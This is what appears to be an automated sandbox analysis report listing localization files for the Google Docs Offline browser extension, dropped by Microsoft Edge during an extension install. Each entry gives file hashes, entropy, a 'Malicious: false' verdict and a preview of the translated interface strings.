SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
